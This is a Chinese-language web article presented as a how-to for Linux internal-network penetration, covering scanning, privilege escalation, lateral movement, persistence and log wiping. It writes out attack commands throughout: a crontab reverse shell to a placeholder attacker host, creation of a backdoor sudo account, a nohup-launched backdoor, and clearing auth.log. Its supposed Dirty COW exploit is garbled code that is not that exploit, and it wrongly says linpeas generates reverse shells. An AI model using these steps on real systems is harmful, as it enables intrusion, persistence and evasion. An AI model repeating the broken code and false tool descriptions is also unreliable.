当前位置:首页 > 行业动态 > 正文

如何在Linux环境中进行内网渗透测试?

linux 渗透内网涉及使用各种工具和技术,如 nmap、metasploit,以发现和利用网络中的破绽。

Linux内网渗透

如何在Linux环境中进行内网渗透测试?  第1张

背景介绍

Linux内网渗透是指攻击者在获得初始访问权限后,通过一系列技术手段在内网中横向移动,以进一步扩展对网络的控制和数据获取,由于Linux系统广泛应用于服务器和企业环境,因此掌握Linux内网渗透技术对于网络安全工程师和渗透测试员来说至关重要,本文将详细探讨Linux内网渗透的各个方面,包括信息收集、提权、维持访问、痕迹清理等。

基本信息收集

在进行任何渗透活动之前,首先需要尽可能多地收集目标系统的基本信息,这些信息将为后续的攻击提供重要支持。

主机存活探测

使用工具如nmap或netdiscover进行主机存活探测,以确定目标网络中的活跃设备。

nmap -sn 192.168.0.0/24

端口扫描

一旦确定了活动的主机,下一步就是识别开放端口和服务,这可以通过nmap或masscan来完成。

nmap -p 1-65535 192.168.0.1

目录扫描

对于Web应用程序,使用gobuster或dirb等工具进行目录扫描,以发现可能的管理后台或其他敏感路径。

gobuster dir -u http://192.168.0.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

破绽利用与提权

内核破绽提权

脏牛(Dirty COW)破绽是一个经典的内核提权破绽,影响了许多Linux发行版,该破绽允许攻击者通过竞争条件写入只读文件,从而获得root权限,以下是利用该破绽的一个示例:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
void exploit() {
    char *buf1 = "/proc/self/as";
    char *buf2 = malloc(strlen(buf1) + 1);
    memcpy(buf2, buf1, strlen(buf1));
    buf2[strlen(buf1)] = 'x00'; // Null-terminate the string
    char *stack_buf = (char *)mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_STACK | MAP_ANONYMOUS | MAP_EXECUTABLE | MAP_GROWSDOWN,
                                   -1, 0);
    char *stack_buf_start = stack_buf + STACK_SIZE;
    memcpy(stack_buf_start, buf2, strlen(buf2)); // Copy to stack
    // Overwrite return address on stack with address ofwin function
    *((void **)(stack_buf_start + 7)) = &win;
}
int main() {
    exploit();
    return 0;
}

>注意:实际利用中需根据目标系统环境进行调整。

第三方服务提权

某些第三方服务可能存在未修复的破绽,可通过这些服务进行提权,旧版本的Docker远程API未授权访问破绽可以用于提权,通过以下命令检查Docker版本:

docker --version

如果存在破绽版本,则可以通过以下方式获取容器列表:

curl http://<target>:2375/containers/json

进一步利用此破绽启动新容器并挂载宿主机的目录,从而实现逃逸。

SUID程序提权

一些二进制文件被设置了SUID位,这意味着它们将以文件所有者的权限运行,常见的SUID程序包括nmap、find等,可以通过以下命令查找系统中的SUID程序:

find / -perm -u=s -type f 2>/dev/null

然后尝试直接运行这些程序以获得更高的权限。

横向移动

一旦获得了高权限,攻击者通常会尝试在内网中横向移动,以进一步控制其他系统,以下是几种常见的方法:

SSH隧道

使用SSH隧道可以在两个网络之间建立安全连接,通过以下命令在本地机器上建立一个SOCKS代理:

ssh -qTfnN -D 1111 root@remote_server

然后在本地浏览器或其他工具中设置SOCKS代理,以便访问远程网络资源。

代理链

当需要通过多个跳板机时,可以使用proxychains或tsocks等工具来设置代理链。

proxychains nmap -sS 192.168.1.0/24

这将通过配置文件中指定的代理链进行扫描。

WMI与PowerShell

虽然WMI和PowerShell主要用于Windows环境,但在混合环境中也可能有用,通过SSH隧道连接到Windows主机后,可以使用PowerShell脚本进行操作。

权限维持

为了长期控制目标系统,攻击者需要确保其访问权限得以维持,以下是几种常见的方法:

创建后门账户

在系统中创建一个隐藏的用户账户,以便日后登录。

sudo useradd -r backdooruser
echo "backdooruser:password" | sudo chpasswd

然后将用户添加到/etc/sudoers文件中,赋予其sudo权限。

安装持久化后门

植入持久化的Web后门,如web shell或reverse shell,使用linpeas生成一个反向shell:

linpeas -p tcp -r 192.168.1.100 -k password -a amd64 -o /tmp/backdoor
chmod +x /tmp/backdoor
nohup /tmp/backdoor > /dev/null 2>&1 &

Crontab任务计划

编辑crontab文件,添加定时任务以定期执行反面命令。

crontab -e

添加如下行:

* * * * /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1

痕迹清理

为了避免被检测到,攻击者通常会清理所有的痕迹,以下是一些常见的清理步骤:

清除日志文件

删除或修改系统日志文件中的相关信息。

>/var/log/auth.log
:>/var/log/auth.log

使用:>表示注释掉不需要的日志条目。

移除反面文件

删除所有上传的反面文件和脚本。

rm -rf /tmp/malicious_script.sh

恢复系统配置

如果修改了系统配置,记得将其恢复到原始状态,撤销对/etc/sudoers文件的更改:

sudo visudo -c /etc/sudoers

Linux内网渗透是一项复杂的任务,涉及多个步骤和技术,从最初的信息收集到最终的痕迹清理,每一步都需要精心策划和执行,希望本文能为你提供一个全面的指南,帮助你更好地理解和应对Linux内网渗透的挑战,安全是一个持续的过程,只有不断学习和实践才能保持领先。

以上内容就是解答有关“linux 渗透内网”的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。

0